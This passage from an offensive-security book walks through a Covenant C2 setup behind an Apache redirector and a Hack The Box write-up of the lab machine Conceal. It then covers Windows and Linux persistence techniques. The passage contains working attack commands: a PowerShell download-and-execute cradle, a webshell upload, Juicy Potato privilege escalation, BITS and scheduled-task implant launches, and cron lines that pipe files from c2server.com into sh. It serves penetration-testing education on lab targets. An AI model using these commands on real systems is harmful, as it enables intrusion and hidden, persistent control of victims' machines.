9 ProxyPass /en-us/test.html http://192.168.114.3/en-us/test.html
10 ProxyPassReverse /en-us/index.html http://192.168.114.3/en-us/index.html
11 ProxyPassReverse /en-us/docs.html http://192.168.114.3/en-us/docs.html
12 ProxyPassReverse /en-us/test.html http://192.168.114.3/en-us/test.html
13 </VirtualHost>

The "ProxyRequests off" statement disables proxying for anything other than the proxy
requests defined after it. The ProxyPass statement takes all traffic for the paths specified
and forwards it to the Covenant server at 192.168.114.3. The ProxyPassReverse statement
hide01.ir
will re-write URLs in the reply so that responses come back to the proxy server and not
directly back to the Covenant server.

Once these changes are made, we can restart the Apache server and check that the home
page is working as expected.

service apache2 restart

Home page of the Apache redirector

We can now go back to Covenant and create a Listener. The only thing we need to do here
is to add and entry for the ConnectAddresses that points to the redirector (Figure 10-4). We
hide01.ir
can leave the HTTP profile as default. In practice, we could change the URLs and the
contents of the messages that are sent to and from the grunt as the defaults are pretty
basic.

Creating a listener with the ConnectAddress pointing to the redirector

Once this is done, we can now use a Launcher to create the PowerShell script that we could
run on a target host. Again, we will leave everything as is and just select Redirect as the
Listener if it hasn't done this automatically
hide01.ir

Getting code to launch a grunt using PowerShell

Once this code is run (we can run it on the same machine, it will send its communications
via the redirector in any case), we will see a grunt being activated and appear in the
Dashboard of Covenant. The grunt will by default report back information about the user
and computer that it is running on
hide01.ir

Grunt running on the target box and reporting basic information

We can now interact with the grunt using the Interact tab and use one of a selection of
different commands or tasks such as whoami
hide01.ir

Sending a whoami command to the grunt and getting a reply

Covenant provides a long list of other tasks that can be run on the target machine that
include methods for bypassing AMSI and UAC, uploading and downloading files,
navigating the file system and running software and other commands.

Hack The Box Case Study: Conceal

Conceal is a Windows box that requires enumeration of UDP to discover information


available through SNMP. With this information, you can configure a IPSec VPN to connect
to the box and then enumerate the TCP ports. The machine has FTP and HTTP open and
using that we can upload a reverse shell, execute it through the web application and then
get onto the box. Once there, the privilege escalation is straightforward as the user has the
SeImpersonate privilege which can be exploited via Juicy Potato. Once the enumeration
and IPSec VPN is set up, we will exploit the box using Covenant.

An initial nmap scan reveals no TCP ports open. Doing a UDP scan shows two open ports.
161 which is running an SNMP process and 500 which is running an IKE VPN port. nmap
hide01.ir
will enumerate public information from this interface and so returns information about
network interfaces, network ports that are open on the machine and processes that are
running:

1 PORT STATE SERVICE VERSION


2 161/udp open snmp SNMPv1 server (public)
3 | snmp-interfaces:
4 | Software Loopback Interface 1\x00
5 | IP address: 127.0.0.1 Netmask: 255.0.0.0
6 | Type: softwareLoopback Speed: 1 Gbps
7 | Status: up
8 | Traffic stats: 0.00 Kb sent, 0.00 Kb received
9 | WAN Miniport (IKEv2)\x00
10 | Type: tunnel Speed: 0 Kbps
11 | Traffic stats: 0.00 Kb sent, 0.00 Kb received
12 | vmxnet3 Ethernet Adapter\x00
13 | IP address: 10.129.1.51 Netmask: 255.255.0.0
14 | MAC address: 00:50:56:b9:31:39 (VMware)
15 | Type: ethernetCsmacd Speed: 4 Gbps
16 | Status: up
17 | Traffic stats: 539.69 Kb sent, 20.09 Mb received
18 | WAN Miniport (PPTP)\x00
19 | Type: tunnel Speed: 0 Kbps
20 | Traffic stats: 0.00 Kb sent, 0.00 Kb received
21 | Microsoft Kernel Debug Network Adapter\x00
22 | Type: ethernetCsmacd Speed: 0 Kbps
23 | Traffic stats: 0.00 Kb sent, 0.00 Kb received
24 | WAN Miniport (L2TP)\x00
25 | Type: tunnel Speed: 0 Kbps
26 | Traffic stats: 0.00 Kb sent, 0.00 Kb received
27 | Teredo Tunneling Pseudo-Interface\x00
28 | MAC address: Unknown
29 | Type: tunnel Speed: 0 Kbps
30 | Traffic stats: 0.00 Kb sent, 0.00 Kb received
31 | WAN Miniport (IP)\x00
32 | Type: ethernetCsmacd Speed: 0 Kbps
33 | Traffic stats: 0.00 Kb sent, 0.00 Kb received
34 <SNIP>
35 | snmp-netstat:
36 | TCP 0.0.0.0:21 0.0.0.0:0
37 | TCP 0.0.0.0:80 0.0.0.0:0
38 | TCP 0.0.0.0:135 0.0.0.0:0
39 | TCP 0.0.0.0:445 0.0.0.0:0
40 | TCP 0.0.0.0:49664 0.0.0.0:0
41 | TCP 0.0.0.0:49665 0.0.0.0:0
42 | TCP 0.0.0.0:49666 0.0.0.0:0
43 | TCP 0.0.0.0:49667 0.0.0.0:0
44 | TCP 0.0.0.0:49668 0.0.0.0:0
45
hide01.ir
| TCP 0.0.0.0:49669 0.0.0.0:0
46 | TCP 0.0.0.0:49670 0.0.0.0:0
47 | TCP 10.129.1.51:139 0.0.0.0:0
48 | UDP 0.0.0.0:123 *:*
49 | UDP 0.0.0.0:161 *:*
50 | UDP 0.0.0.0:500 *:*
51 | UDP 0.0.0.0:4500 *:*
52 | UDP 0.0.0.0:5050 *:*
53 | UDP 0.0.0.0:5353 *:*
54 | UDP 0.0.0.0:5355 *:*
55 | UDP 0.0.0.0:62366 *:*
56 | UDP 10.129.1.51:137 *:*
57 | UDP 10.129.1.51:138 *:*
58 | UDP 10.129.1.51:1900 *:*
59 | UDP 10.129.1.51:53925 *:*
60 | UDP 127.0.0.1:1900 *:*
61 |_ UDP 127.0.0.1:53926 *:*
62 | snmp-processes:
63 | 1:
64 | Name: System Idle Process
65 | 4:
66 | Name: System
67 | 292:
68 | Name: smss.exe
69 | 320:
70 | Name: svchost.exe
71 | Path: C:\Windows\System32\
72 | Params: -k LocalServiceNetworkRestricted
73 | 340:
74 | Name: svchost.exe
75 | Path: C:\Windows\system32\
76 | Params: -k LocalServiceNoNetwork
77 | 372:
78 | Name: csrss.exe
79 | 456:
80 | Name: wininit.exe
81 | 468:
82 | Name: csrss.exe
83 | 472:
84 | Name: svchost.exe
85 | Path: C:\Windows\system32\
86 | Params: -k LocalService
87 | 540:
88 | Name: winlogon.exe
89 | 600:
90 | Name: services.exe
91 | 608:
92 | Name: lsass.exe
93 | Path: C:\Windows\system32\
94 | 696:
95 | Name: svchost.exe
96
hide01.ir
| Path: C:\Windows\system32\
97 | Params: -k DcomLaunch
98 | 712:
99 | Name: fontdrvhost.exe
100 | 720:
101 | Name: fontdrvhost.exe
102 | 808:
103 | Name: svchost.exe
104 | Path: C:\Windows\system32\
105 | Params: -k RPCSS
106 | 892:
107 | Name: dwm.exe
108 | 948:
109 | Name: svchost.exe
110 | Path: C:\Windows\system32\
111 | Params: -k netsvcs
112 <SNIP>

We can use the utility snmpwalk.pl to enumerate SNMP on the machine. As a reminder,
SNMP is the Simple Network Management Protocol which is a protocol for collecting
information from devices and sending commands to control them. SNMP uses a
hierarchical namespace to organize information about a device. This is called a
management information base (MIB). MIBs use object identifiers (OID) to identify individual
items within a MIB.

When we do snmapwalk on Conceal, we get a huge amout of information back although


the OIDs are not translated into proper labels.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Conceal]
2 └──╼ $perl /usr/share/doc/libnet-snmp-perl/examples/snmpwalk.pl -c public
3 1.3.6.1.2.1.1.1.0 = OCTET STRING: Hardware: AMD64 Family 23 Model 49 Stepp
4 15063 Multiprocessor Free)
5 1.3.6.1.2.1.1.2.0 = OBJECT IDENTIFIER: 1.3.6.1.4.1.311.1.1.3.1.1
6 1.3.6.1.2.1.1.3.0 = TimeTicks: 23 hours, 34:05.00
7 1.3.6.1.2.1.1.4.0 = OCTET STRING: IKE VPN password PSK - 9C8B1A372B1878851
8 1.3.6.1.2.1.1.5.0 = OCTET STRING: Conceal
9 1.3.6.1.2.1.1.6.0 = OCTET STRING:
10 1.3.6.1.2.1.1.7.0 = INTEGER: 76
11 1.3.6.1.2.1.2.1.0 = INTEGER: 16
12 1.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
13 1.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
14 1.3.6.1.2.1.2.2.1.1.3 = INTEGER: 3
15 1.3.6.1.2.1.2.2.1.1.4 = INTEGER: 4
16 1.3.6.1.2.1.2.2.1.1.5 = INTEGER: 5
17
hide01.ir
1.3.6.1.2.1.2.2.1.1.6 = INTEGER: 6
18 1.3.6.1.2.1.2.2.1.1.7 = INTEGER: 7
19 1.3.6.1.2.1.2.2.1.1.8 = INTEGER: 8
20 1.3.6.1.2.1.2.2.1.1.9 = INTEGER: 9
21 1.3.6.1.2.1.2.2.1.1.10 = INTEGER: 10
22 1.3.6.1.2.1.2.2.1.1.11 = INTEGER: 11
23 1.3.6.1.2.1.2.2.1.1.12 = INTEGER: 12
24 1.3.6.1.2.1.2.2.1.1.13 = INTEGER: 13
25 1.3.6.1.2.1.2.2.1.1.14 = INTEGER: 14
26 1.3.6.1.2.1.2.2.1.1.15 = INTEGER: 15
27 1.3.6.1.2.1.2.2.1.1.16 = INTEGER: 16
28 1.3.6.1.2.1.2.2.1.2.1 = OCTET STRING: Software Loopback Interface 1
29 1.3.6.1.2.1.2.2.1.2.2 = OCTET STRING: WAN Miniport (IKEv2)
30 1.3.6.1.2.1.2.2.1.2.3 = OCTET STRING: vmxnet3 Ethernet Adapter
31 <SNIP>

One thing we notice immediately is that there is an IKE VPN password PSK (pre-shared key)
which is 9C8B1A372B1878851BE2C097031B6E43. If we check this hash online, or through
listing hashcat hash examples, it is likely to be an NTLM hash. We can crack it with
hashcat as follows:

1 ┌─[rin@parrot]─[~/boxes/Conceal]
2 └──╼ $hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
3 hashcat (v6.1.1) starting...
4 <SNIP>
5 9c8b1a372b1878851be2c097031b6e43:Dudecake1!
6 Session..........: hashcat
7 Status...........: Cracked
8 Hash.Name........: NTLM

We get the password "Dudecake!". Before we leave the SNMP enumeration, we can use
another utility to enumerate it called snmp-check:

1 ┌─[rin@parrot]─[~/boxes/Conceal] [454/578]
2 └──╼ $snmp-check 10.129.90.149
3 snmp-check v1.9 - SNMP enumerator
4 Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
5 [+] Try to connect to 10.129.90.149:161 using SNMPv1 and community 'public
6 [*] System information:
7 Host IP address : 10.129.90.149
8 Hostname : Conceal
9
hide01.ir
Description : Hardware: AMD64 Family 23 Model 49 Stepping 0 AT/AT COMPATI
10 15063 Multiprocessor Free)
11 Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43
12 Location : -
13 Uptime snmp : 00:11:32.37
14 Uptime system : 00:11:17.93
15 System date : 2021-2-1 02:45:52.0
16 Domain : WORKGROUP
17 [*] User accounts:
18 Guest
19 Destitute
20 Administrator
21 DefaultAccount
22 <SNIP>

This produces labelled information from SNMP largely of the same content that was
enumerated by nmap. We can see that there is a WAN Miniport (IKEv2) interface that is
marked as being down. This, along with the open UDP port 500 and the IKE password
suggests that the machine supports an IPSec VPN. The TCP connections show that FTP
and HTTP are running on ports 21 and 80 but just not accessible from the outside, as we
have previously seen from the nmap scan.

To explore the IPSec on Conceal, we can use ike-scan:

1 ┌─[rin@parrot]─[~/boxes/Conceal]
2 └──╼ $sudo ike-scan -M 10.129.90.149
3 Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike
4 10.129.90.149 Main Mode Handshake returned
5 HDR=(CKY-R=7eb8e09a6a37c7b8)
6 SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDur
7 VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)
8 VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
9 VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
10 VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
11 VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
12 VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)
13 Ending ike-scan 1.9.4: 1 hosts scanned in 0.338 seconds (2.96 hosts/sec).

The important information from this is the SA= line which represents the security
association configuration information. ike-scan can sometimes get the hash using
aggressive mode, but we already have the hash and in any case it doesn't work on Conceal.
hide01.ir
We are going to use Windows for the next phase and set up an IPSec tunnel. To set up an
IPSec tunnel, we go into the Windows Defender Firewall with Advanced Security application
and click New Rule on Connection Security Rules (Figure 10-8)

Graphical user interface, application

Description automatically generated

Creating a new IPSec connection on Windows


hide01.ir

Graphical user interface, application, Teams

Description automatically generated

Specifying the IP address of conceal.htb and our box

We can leave the default setting for authentication inbound and outbound and then select
the Advanced option for the Authentication Method
hide01.ir

Graphical user interface, text, application

Description automatically generated

Specifying the authentication method as a Preshared key Dudecake1!

We need to select the protocol type as TCP that will be carried by the tunnel
hide01.ir

Graphical user interface, application, Teams

Description automatically generated

Configure the protocol type as TCP

Finally, we give the connection a name and then can check if it is working by doing an
nmap scan on port 445

1 c:\Users\rin\Desktop
2 nmap -p 445 -sT conceal.htb
3 <SNIP>
4 PORT STATE SERVICE
5 445/tcp open microsoft-ds
hide01.ir
Now that we have a working tunnel in place, we can check FTP for anonymous access
which it allows. There is nothing in the directory but it seems that we can upload files.
Uploading a test.html file, we can navigate to the website on Conceal and that reveals the
default IIS page. Putting in the URL http://conceal.htb/test.html gives a file not found. We
could run gobuster on the site to see what the directory structure is but testing the a few
well known paths gives us a hit on http://conceal.htb/upload/test.html.

So we can upload files and access them via the web. This will allow us to upload a web
shell from https://github.com/tennc/webshell/tree/master/asp. Lets upload that using ftp:

1 c:\Users\rin\Desktop
2 λ ftp conceal.htb
3 Connected to conceal.htb.
4 220 Microsoft FTP Service
5 200 OPTS UTF8 command successful - UTF8 encoding now ON.
6 User (conceal.htb:(none)): anonymous
7 331 Anonymous access allowed, send identity (e-mail name) as password.
8 Password:
9 230 User logged in.
10 ftp> put webshell.asp
11 200 PORT command successful.
12 125 Data connection already open; Transfer starting.
13 226 Transfer complete.
14 ftp: 1405 bytes sent in 0.39Seconds 3.65Kbytes/sec.
15 ftp>

Typing in whoami into the cmd gives us conceal\destitute (Figure 10-12)


hide01.ir

whoami command in webshell on Conceal

On Covenant, we can use a Launcher to get a PowerShell script that we can put into a file
grunt.ps1 and serve it using python -m http.server 8000 -bind 10.10.14.117. From the
webshell, we can use the command:

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11

You should see a hit on the python web server and then in Covenant, a notification that the
grunt is active. Interacting with the grunt, we can send command such as whoami

1 [2/1/2021 5:34:27 AM UTC] WhoAmI completed


2 (admin) > whoami
3 CONCEAL\Destitute
hide01.ir
We can run Seatbelt -group=all which is an application like winPEAS and suggest privilege
escalations for us. Going through the output, the current user has SeImpersonatePrivilege
privilege. This means we can probably use Juicy Potato. We can get a release version of
this from GitHub (https://github.com/ohpe/juicy-potato) and upload it using the command
upload in Covenant. We can upload to c:\Users\Destitute\Desktop. We will also upload the
PowerShell script from the Launcher as a batch file. We can run Juicy Potato then with the
command

1 (admin) > cmd .\juicy.exe -t * -p c:\users\destitute\desktop\grunt.bat -l


2 Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 9001
3 ......
4 [+] authresult 0
5 {e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM
6 [+] CreateProcessWithTokenW OK

Note that the CLSID is something that I got from the site https://github.com/ohpe/juicy-
potato/tree/master/CLSID/Windows_10_Enterprise) and it is for the Windows Update
Server (wuaserv). On running the batch file, we will get another grunt activated on Covenant
and this time it will be as user NT Authority\System

1 [2/1/2021 6:05:20 AM UTC] WhoAmI completed


2 (admin) > whoami
3 NT AUTHORITY\SYSTEM
hide01.ir
Persistence
The point of achieving persistence is to be able to resume control of a target machine even
if the machine is rebooted, restarted or the process that is running the implant is stopped
for any reason. This needs to be done in a way that will not draw attention and also
continue to evade defenses such as AV and other intrusion detection/protection systems.

There are a variety of different ways of achieving persistence. The MITRE ATT&CK
framework lists a range of techniques which can be summarized as follows:

Account manipulation including account creation, using valid credentials (passwords,


hashes, Kerberos Gold and Silver Tickets) locally or with remote services
Boot or Login Austostart Execution/Initialization Scripts
Create or modify system process
Event triggered execution
Hijack execution flow
Office application startup
Pre-OS Boot
Scheduled Task/Job including BITS Jobs
Server software component
Traffic signaling

We won't go through all of these separately but will deal with a few by way of example. We
have already come across some of these techniques, especially the first, using valid
credentials, including hashes and Kerberos tickets. The caveat with using accounts,
including created accounts to remotely access a machine or file system is that any unusual
activity of accounts can potentially trigger alerts.

Of the remainder of the techniques, the actual procedures involved in these are specific to
platform and so we will deal with each platform in turn.

Windows Persistence

BITS Jobs
hide01.ir
BITS is the Background Intelligent Transfer Service which runs scheduled jobs to upload or
download files and monitor their progress. There is a utility program bitsadmin.exe that can
be used to configure BITS jobs, however, it will warn you that it is being deprecated and that
there are PowerShell commands that should be used instead. The PowerShell commands
are missing the ability to run a program after the BITS job completes and this is the feature
we are counting on to run our implant. So for the time being, we will run through how to run
a PowerShell grunt using BITS.

To create a BITS job, we sue the command:

bitsadmin /create myjob

If we want to download the grunt, we can then use the command

bitsadmin /addfile myjob http://192.168.114.2:8000/grunt.bat c:\users\rin\gr

Note that if the implant was already on the machine, this part can be set to a non-valid URL,
it isn't important to running the file which we do with the following command:

bitsadmin /SetNotifyCmdLine persistjob cmd.exe "/c bitsadmin.exe /complete m

We need to run bitsadmin.exe /complete myjob because bitsadmin won't actually copy the
downloaded file to its destination until this is called. After that finishes, the grunt.bat script
file is run. This will pop up a cmd.exe window and so there are other ways of downloading
and executing the PowerShell without running it in a command prompt.

If the download command is invalid, i.e. it returns a 404, the command will retry if a
SetMinRetryDelay is set:

bitsadmin /SetMinRetryDelay persistjob 120


hide01.ir
Otherwise, it is possible to combine the BITS job with a scheduled task which we will look
at next.

Scheduled Tasks

The Windows Task Scheduler allows for scripts or applications to be run at certain times or
as a result of specific events. Tasks can be scheduled using the Windows GUI Task
Scheduler or the command line schtasks. A task consists of a name that is used to identify
it. It will run after being "triggered" at a specific time or after an event, such as logging on, or
an event appearing in a log. The task will then execute an action which is either running a
program, sending an email, or displaying a notification or take some other action. Executing
the action can be constrained by certain conditions and finally, there are some settings that
can be configured if the task fails for any reason.

For our purposes, we can use the schtasks application and simply create a task that will
execute at a fixed time as follows:

schtasks /create /tn persistjob /tr "cmd.exe /c c:\Users\rin\Desktop\grunt.b

This is creating a task called "persistjob" with an action of running grunt.bat. The schedule
(/sc) is defined in minutes and is set to run every 60 minutes (/mn 60) indefinitely. By
default, the task will only run when the user is logged on.

As mentioned above, the scheduled task can be used to persist running the implant directly,
or via a BITS job.

Registry Keys

There are a variety of keys in the registry that can be used to achieve persistence. Examples
include:

Autorun: keys at
hide01.ir
1 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
2 HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
3 HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
4 HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

Where HKCU is HKEY_CURRENT_USER. There are equivalent locations for


HKEY_LOCAL_MACHINE (HKLM) that will run when any user logs on.

Registry keys can also be used to store actual scripts and the commands to run them. The
C2 server PoshC2 for example will store a PowerShell script disguised as wallpaper in the
key:

HKCU\Software\Microsoft\Windows\CurrentVersion\themes\Wallpaper777 (or anoth

It will run the script from the autorun keys mentioned above, using the name of IEUpdate, or
use a scheduled task or place a shortcut file that is placed at

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk

Services

A new service can be created to persist an implant. This can be done using PowerShell

New-Service -Name "Grunt" -BinaryPathName "C:\Windows\Temp\payload.exe" -Description


"A Covenant Grunt" -StartupType Automatic

sc start Grunt

Remember that you will need elevated privileges to do this and you would normally make
more of an attempt to disguise or hide the binary file.
hide01.ir
There are a number of other techniques but these are the most common. We will have a
look at how to achieve persistence on a Linux machine next.

Linux Persistence

As with Windows, getting credentials of an existing user or creating a new user that has
remote access to the machine through remote desktop or SSH is a straightforward way of
achieving persistence. With SSH, an additional key can be added to a user's
authorized_keys file as well.

Cron Jobs

As with scheduled tasks on Windows, Cron can be used to the same end to run a binary or
script at specific times. A technique used by malware is to download a file that looks like a
JPG and actually contains a reverse shell. Two ways of achieving that are:

1 */11 * * * * wget -O - -q http://c2server.com/pics/logo.jpg|sh


2 */5 * * * * curl http://c2server.com/malicious.png -k|dd skip=2446 bs=1|sh

These lines represent entries in a crontab. The format is to specify minute, hour, day of the
month, month and day of the week in the first 5 positions. The command that is executed
follows. In the case of the above entries, this would represent running the Cron job every 11
minutes (*/11) and every 5 minutes (*/5).

For a user to run a cron job, they need to be configured in the /etc/cron.allow file. An
individual user's cron files are stored in /var/spool/cron/crontabs. Other cron entries may
be in files located in /etc/cron.d and entries in the file /etc/crontab.

Metasploit has a module for establishing persistence with cron:

exploit/linux/local/cron_persistence
Systemd service
hide01.ir
Systemd is a service that uses configuration files to start, stop and report on other services
on a Linux machine. The configuration files are located in /etc/systemd/system and
/usr/lib/system. A new service can be created or an existing one modified to maintain
persistence. Although an attacker would normally need root privileges to create or modify a
service, it is possible to run a service as a user by putting a configuration file in the home
directory of a user ~/.config/system/user/

Another popular application that is used to run supervised processes is supervisord

Metasploit has a module for achieving persistence using services:

use exploit/linux/local/service_persistence

You might also like